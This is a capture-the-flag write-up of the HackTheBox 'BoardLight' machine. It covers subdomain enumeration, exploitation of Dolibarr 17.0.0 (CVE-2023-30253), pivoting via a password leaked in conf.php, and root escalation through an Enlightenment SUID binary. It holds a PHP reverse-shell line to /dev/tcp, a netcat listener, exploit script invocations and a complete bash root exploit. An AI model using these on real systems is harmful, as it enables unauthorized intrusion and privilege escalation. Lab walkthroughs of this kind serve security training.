> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md). # BoardLight HackTheBox Writeup BoardLight HackTheBox Easy Linux machine writeup covering Subdomain Enumeration, Dolibarr 17.0.0 Exploitation - CVE-2023-30253, Information Leakage (User Pivoting), Enlightenment SUID Binary Exploitat {% embed url="" %} {% hint style="warning" %} **Skills:** * Subdomain Enumeration * Dolibarr 17.0.0 Exploitation - CVE-2023-30253 * Information Leakage (User Pivoting) * Enlightenment SUID Binary Exploitation (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.11 -oN targeted ```

## Port 80 - HTTP **Analysis with WhatWeb:** We identify an email containing a domain name: `board.htb`.

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

## Web Enumeration **Search for directories with Feroxbuster:** ```bash feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` No relevant results found.

**Enumeration of subdomains with Gobuster:** ```bash gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 ``` We discover a subdomain: `crm.board.htb`..

We add it to `/etc/hosts`

## Vulnerability CMS Dolibarr

**Connection without authentication:** A connection attempt with random credentials logs in as administrator but without permissions.

### **Manual Exploitation** **Creation of a malicious site:** In the site creation section, we insert malicious PHP code:

```php

```

We confirm the execution of orders.

**Reverse Shell :** Listening: ```bash nc -nvlp 443 ``` PHP code for a reverse shell: ```php %26 /dev/tcp/10.10.14.47/443 0>%261"']); ?> ```

### **Automated Exploitation** {% embed url="" %} **Installation of dependencies:** ```bash pip3 install -r requirements.txt ``` **Executing the script:** Test order (whoami) ```bash python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami ```

#### Reverse shell ```bash python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443 ```

#### Terminal Stabilization ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## User Pivoting - Larissa The objective is to pivot towards the user **larissa**.

### Enumeration of information In the `web` directory located in `htbdocs`, we find a folder named `conf` containing a **conf.php** file. This file contains the following information:

* password: `serverfun2$2023`!! #### SSH connection With the information retrieved, let's try to connect to the machine via SSH: ```bash ssh larissa@10.10.11.11 ``` **Result:** The connection works.

### Flag user.txt :)

## Privilege Escalation ### SUID - Enlightenment We start by searching for SUID files owned by our user. To do this, run the following command: ```bash find / -perm -4000 2>/dev/null ``` Analyzing the output, we notice the presence of the **enlightenment** binary.

We are exploring vulnerabilities associated with this binary. After some research, we identify an exploit applicable for version **0.25.4**. {% embed url="" %}

However, checking the current version of Enlightenment installed on the system, we find that it is version **0.23.1**, an older version.

We are testing the following exploit to exploit the vulnerability: ```bash #!/usr/bin/bash file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys" mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit" echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net rm -rf /tmp/exploit rm -rf /tmp/net ``` ```bash ./exploit.sh ``` After running the exploit, we get a shell with root privileges.

### Flag root.txt :)

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